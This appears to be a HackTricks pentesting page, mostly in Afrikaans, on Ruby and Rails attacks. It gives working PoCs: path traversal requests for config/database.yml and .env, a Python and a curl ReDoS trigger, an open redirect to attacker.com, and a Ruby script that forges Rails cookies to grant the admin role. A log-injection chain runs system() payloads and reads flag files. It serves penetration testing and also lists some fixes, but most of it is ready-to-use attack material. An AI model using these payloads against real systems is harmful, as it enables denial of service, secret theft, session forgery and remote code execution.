Ruby Tricks

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Lêer oplaai na RCE

Soos verduidelik in this article, die oplaai van ’n .rb-lêer na sensitiewe gidse soos config/initializers/ kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.

Wenke:

  • Ander boot/eager-load plekke wat by app-opstart uitgevoer word, is ook riskant as hulle skryfbaar is (bv. config/initializers/ is die klassieke voorbeeld). As jy ’n arbitrare lêeroplaai vind wat enige plek onder config/ land en later geëvalueer/required word, kan jy RCE kry by boot.
  • Kyk na dev/staging builds wat user-controlled-lêers in die container image kopieer waar Rails hulle by boot gaan laad.

Active Storage image transformation → command execution (CVE-2025-24293)

Wanneer ’n toepassing Active Storage met image_processing + mini_magick gebruik, en onbetroubare parameters aan image transformation methods deurgee, kon Rails-weergawe voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sommige transformation methods per ongeluk standaard toegelaat was.

  • ’n Vlakbare patroon lyk soos:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

waar params[:t] en/of params[:v] deur die aanvaller beheer word.

  • Wat om te probeer tydens toetsing

  • Identifiseer enige endpoints wat variant/processing opsies, transformation names, of arbitrare ImageMagick-argumente aanvaar.

  • Fuzz params[:t] en params[:v] vir verdagte foute of uitvoering-side-effekte. As jy die method-naam kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor host kry.

  • As jy slegs read-access op gegenereerde variants het, probeer blinde exfiltrasie via gekonfekteerde ImageMagick-operasies.

  • Remediation/detections

  • As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 met Active Storage + image_processing + mini_magick en user-controlled transformations sien, beskou dit as exploiteerbaar. Aanbeveel opgradering en die afdwing van streng allowlists vir methods/params en ’n geharde ImageMagick-policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

As die teiken-stapel Rack middleware direk of via frameworks gebruik, laat weergawes van rack voor 2.2.13, 3.0.14 en 3.1.12 Local File Inclusion toe via Rack::Static wanneer :root unset/misconfigured is. Geënkodeerde traversering in PATH_INFO kan lêers blootstel onder die proses se working directory of ’n onverwagte root.

  • Soek applikasies wat Rack::Static in config.ru of middleware stacks mount. Probeer geënkodeerde traverserings teen statiese paadjies, byvoorbeeld:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Pas die prefix aan om by die geconfigureerde urls: te pas. As die app met lêerinhoud antwoord, het jy waarskynlik LFI na enigiets onder die opgeloste :root.

  • Versagting: upgrade Rack; maak seker :root wys slegs na ’n gids van publieke lêers en is eksplisiet gestel.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 en < 2.2.8.1 het super-lineêre tyd bestee aan die parse van gekonfekteerde Content-Type: multipart/form-data headers. ’n Enkele POST met ’n reuse A= parameterlys kan ’n Puma/Unicorn worker vassteek en DoS of request queue starvation veroorsaak.

  • Quick PoC (sal een worker laat hang):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Werk teen enige Rack-gebaseerde stapel (Rails/Sinatra/Hanami/Grape). As dit voorgehou word deur nginx/haproxy met keep-alive, herhaal parallel om workers uit te put.
  • Gepatch deur die parser lineêr te maak; kyk na rack gem weergawes < 3.0.9.1 of < 2.2.8.1. In assesserings, wys uit dat WAFs selde dit blokkeer omdat die header sintakties geldig is.

REXML XML parser ReDoS (CVE-2024-49761)

Die REXML gem < 3.3.9 (Ruby 3.1 en vroeër) backtracks katastrofies wanneer dit hex numeric character references met lang syferserieke parse (bv. &#1111111111111x41;). Enige XML wat deur REXML of biblioteke wat dit omsluit verwerk word (SOAP/XML API clients, SAML, SVG uploads) kan misbruik word vir CPU-uitputting.

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

As die proses sekondes lank besig bly en worker CPU ’n piek toon, is dit waarskynlik kwesbaar. Die aanval is lae-bandwydte en raak ook agtergrondjobs wat XML inneem.

CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)

Apps wat die cgi gem gebruik (standaard in baie Rack-stakke) kan met ’n enkele kwaadwillige header bevries word:

  • CGI::Cookie.parse was super-lineêr; huge cookie strings (duisende delimiters) veroorsaak O(N²)-gedrag.
  • CGI::Util#escapeElement regex het ReDoS op HTML-escaping toegelaat.

Albei probleme is reggestel in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine met keep-alive om die effek te versterk.

Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)

Die googlesign_in gem < 1.3.0 (gebruik vir Google OAuth op Rails) het ’n onvolledige same-origin check op die proceedto-parameter uitgevoer. ’n Gemalformeerde URL soos proceedto=//attacker.com/%2F.. omseil die check en herlei die gebruiker off-site terwyl Rails flash/session cookies bewaar bly.

Uitbuitingvloei:

  1. Slagoffer klik op ’n vervaardigde Google Sign-In-skakel wat deur die aanvaller aangebied word.
  2. Na authentication herlei die gem na ’n aanvaller-beheerde domain, leaking flash notices of enige data wat in cookies gestoor is wat aan die wildcard domain gekoppel is.
  3. As die app kortlewende tokens of magic links in flash stoor, kan dit in account takeover omskep word.

Tydens toetsing, grep Gemfile.lock vir googlesign_in < 1.3.0 en probeer gemalformeerde proceedto-waardes. Bevestig via Location header en cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Aantekeninge:
- Oudere apps kan AES-256-CBC en salts `encrypted cookie` / `signed encrypted cookie` gebruik, of JSON/Marshal serializers. Pas salts, cipher, en serializer ooreenkomstig aan.
- By kompromittering/assessering, roteer `secret_key_base` om alle bestaande koekies ongeldig te maak.

## Sien ook (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Wanneer 'n app (dikwels 'n eenvoudige Rack/Sinatra/Rails-endpoint) beide:
- log 'n deur-gebruiker-beheerde tekenreeks woord vir woord, en
- later `load`s 'n lêer waarvan die pad afgelei is van daardie selfde tekenreeks (na `Pathname#cleanpath`),

Jy kan dikwels remote code execution bereik deur die log te besmet en dan die app te dwing om die loglêer te `load`. Belangrike primitiewe:

- Ruby `load` evalueer die teikerlêer se inhoud as Ruby ongeag die lêeruitbreiding. Enige leesbare tekslêer waarvan die inhoud as Ruby gepars kan word, sal uitgevoer word.
- `Pathname#cleanpath` vou `.` en `..` segmente in sonder om die filesystem te raadpleeg, wat pad-smuggeling moontlik maak: aanvaller-beheerde rommel kan voorafgeplak word vir logging terwyl die opgesmelte pad steeds na die beoogde lêer oplos om uitgevoer te word (bv. `../logs/error.log`).

### Minimale kwesbare patroon
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Waarom die log geldige Ruby kan bevat

Logger skryf voorvoegselreëls soos:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby begin # ’n kommentaar en 9/2/2025 is net rekenkunde. Om geldige Ruby-kode in te spuit, moet jy:

  • Begin jou payload op ’n nuwe reël sodat dit nie deur die # in die INFO-lyn uitgekommenteer word nie; stuur ’n voorloopende newline (\n of %0A).
  • Sluit die loshangende [ wat deur die INFO-lyn geïntroduseer is. ’n Algemene truuk is om te begin met ] en opsioneel die parser tevrede te stel met ][0]=1.
  • Plaas daarna ewekansige Ruby (bv. system(...)).

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smokkering van ’n enkele string wat beide code log en na die log path oplos

Ons wil een deur die aanvaller beheerde string hê wat:

  • wanneer dit rou gelog word, bevat dit ons Ruby payload, en
  • wanneer dit deur Pathname.new(<input>).cleanpath verwerk word, oplos na ../logs/error.log sodat die opvolgende load die pas-besoedelde log file uitvoer.

Pathname#cleanpath ignoreer schemes en vou traversal-komponente saam, dus werk die volgende:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Die # before :// verseker dat Ruby die tail ignoreer wanneer die log uitgevoer word, terwyl cleanpath steeds die agtervoegsel tot ../logs/error.log verminder.
  • Die leidende nuwe reël breek uit die INFO-reël; ] sluit die loshangende hakie; ][0]=1 bevredig die parser.

End-to-end exploitation

  1. Stuur die volgende as die backup script naam (URL-encode die eerste nuwe reël as %0A indien nodig):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Die app skryf jou rou string na logs/error.log.
  2. Die app bereken cleanpath wat uitwerk as ../logs/error.log en roep load daarop aan.
  3. Ruby voer die kode uit wat jy in die log ingeïnjekteer het.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (eerste karakter is ’n nuwe reël):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks